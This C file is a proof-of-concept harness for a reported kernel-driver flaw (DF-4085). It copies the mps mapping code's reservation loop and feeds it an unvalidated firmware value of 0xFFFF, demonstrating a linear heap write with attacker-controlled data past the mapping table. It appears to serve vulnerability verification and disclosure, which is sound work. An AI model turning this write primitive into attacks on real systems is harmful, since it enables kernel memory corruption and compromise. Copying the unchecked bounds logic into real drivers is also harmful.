/*
 * DF-4085 object-level proof.
 *
 * mps_mapping.c:_mapping_process_dpm_pg0() ENCLOSURE_SLOT_MAPPING branch:
 * for a DPM pg0 entry whose DeviceIndex (dev_idx) falls inside the
 * direct-attached range  [num_rsvd_entries, num_rsvd_entries +
 * MaxNumPhysicalMappedIDs)  the code sets
 *
 *     num_slots = max_num_phy_ids;                   (:1518)
 *
 * MaxNumPhysicalMappedIDs is a firmware-supplied u16 from IOC page 8 that is
 * never validated against the mapping-table size, and the reservation loop
 *
 *     for (map_idx = dev_idx; map_idx < (dev_idx + num_slots); ...)  (:1545)
 *
 * then writes num_slots consecutive struct dev_mapping_table entries with no
 * check that dev_idx + num_slots <= sc->max_devices.  With an in-bounds
 * dev_idx this is an unbounded linear heap write past
 * kmalloc(max_devices * sizeof(struct dev_mapping_table)).
 *
 * This harness replicates the struct (mpsvar.h:135) and the verbatim loop
 * body (:1554-1562) and drives it with a fully in-bounds dev_idx.
 */
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* verbatim from sys/dev/raid/mps/mpsvar.h:135 */
struct dev_mapping_table {
	uint64_t	physical_id;
	uint32_t	device_info;
	uint32_t	phy_bits;
	uint16_t	dpm_entry_num;
	uint16_t	dev_handle;
	uint8_t		reserved1;
	uint8_t		channel;
	uint16_t	id;
	uint8_t		missing_count;
	uint8_t		init_complete;
	uint8_t		TLR_bits;
	uint8_t		reserved2;
};

#define MPS_DEV_RESERVED	0x20000000u	/* mpsvar.h:90 */

#define CANARY	0x5141524153534141ULL	/* fw-controlled PhysicalIdentifier */

int
main(void)
{
	/* IOC facts (firmware controlled): MaxTargets U16, MaxVolumes U8 */
	uint32_t MaxTargets = 508, MaxVolumes = 2;
	uint32_t max_devices = MaxTargets + MaxVolumes;	/* :1734 */
	uint16_t max_num_phy_ids = 0xFFFF;	/* IOC pg8, fw-controlled */
	uint32_t num_rsvd_entries = 1;		/* RESERVED_TARGETID_0 */
	uint32_t dev_idx = 0x100;		/* DPM pg0 DeviceIndex: IN BOUNDS */
	uint16_t entry_num = 0, num_slots, slot_id;
	uint64_t fw_phys_id = CANARY;
	uint32_t fw_phy_bits = 0xDEADBEEFu;
	uint8_t fw_missing_cnt = 1;
	struct dev_mapping_table *map, *mt_entry;
	uint32_t map_idx, i, iter_end, smashed = 0;

	printf("DF-4085 object-level proof (mps_mapping.c:1512-1563)\n");
	printf("  sizeof(dev_mapping_table) : %zu (expect 32)\n",
	    sizeof(struct dev_mapping_table));
	printf("  max_devices               : %u (table = %zu bytes)\n",
	    max_devices, (size_t)max_devices * sizeof(*map));
	printf("  MaxNumPhysicalMappedIDs   : 0x%04x (IOC pg8, unvalidated)\n",
	    max_num_phy_ids);

	/* mapping_table allocation plus a guard region standing in for
	 * adjacent kernel heap.  Every guard entry is poisoned. */
	map = calloc(max_devices + 0x11000, sizeof(*map));
	if (map == NULL)
		return (2);
	for (i = 0; i < 0x11000; i++)
		map[max_devices + i].physical_id = 0x4141414141414141ULL;

	/* === verbatim _mapping_process_dpm_pg0 logic :1512-1518 === */
	slot_id = 0;
	if (dev_idx < (num_rsvd_entries + max_num_phy_ids)) {
		slot_id = 0;
		num_slots = max_num_phy_ids;		/* :1518 - unvalidated */
	} else {
		num_slots = 0;	/* slot field of MappingInformation: max 0xF */
	}
	(void)slot_id;
	printf("  DPM entry %u               : dev_idx=%u (in bounds!), "
	    "num_slots=%u\n", entry_num, dev_idx, num_slots);

	/* === verbatim reservation loop :1544-1563 === */
	mt_entry = &map[dev_idx];
	for (map_idx = dev_idx; map_idx < (dev_idx + num_slots);
	    map_idx++, mt_entry++) {
		mt_entry->physical_id = fw_phys_id;		/* :1554-1556 */
		mt_entry->phy_bits = fw_phy_bits;		/* :1557 */
		mt_entry->channel = 0;			/* :1558 */
		mt_entry->id = dev_idx;			/* :1559 */
		mt_entry->dpm_entry_num = entry_num;	/* :1560 */
		mt_entry->missing_count = fw_missing_cnt;	/* :1561 */
		mt_entry->device_info = MPS_DEV_RESERVED;	/* :1562 */
	}
	/* === end verbatim === */

	iter_end = dev_idx + num_slots;
	if (iter_end > max_devices)
		smashed = iter_end - max_devices;
	for (i = 0; i < smashed; i++)
		if (map[max_devices + i].physical_id != CANARY)
			return (3);	/* harness bug */

	printf("  reservation loop wrote     : [%u, %u)\n", dev_idx, iter_end);
	printf("  entries past table end     : %u\n", smashed);
	printf("  kernel equivalent          : %zu-byte linear heap write of "
	    "fw-controlled data\n", (size_t)smashed * sizeof(*map));
	printf("    past a %zu-byte kmalloc, attacker qword 0x%016jx at "
	    "stride %zu\n", (size_t)max_devices * sizeof(*map),
	    (uintmax_t)CANARY, sizeof(*map));
	if (smashed) {
		printf("RESULT: OOB WRITE PRIMITIVE PROVEN (canary smash, "
		    "stride %zu)\n", sizeof(*map));
		return (0);
	}
	return (1);
}
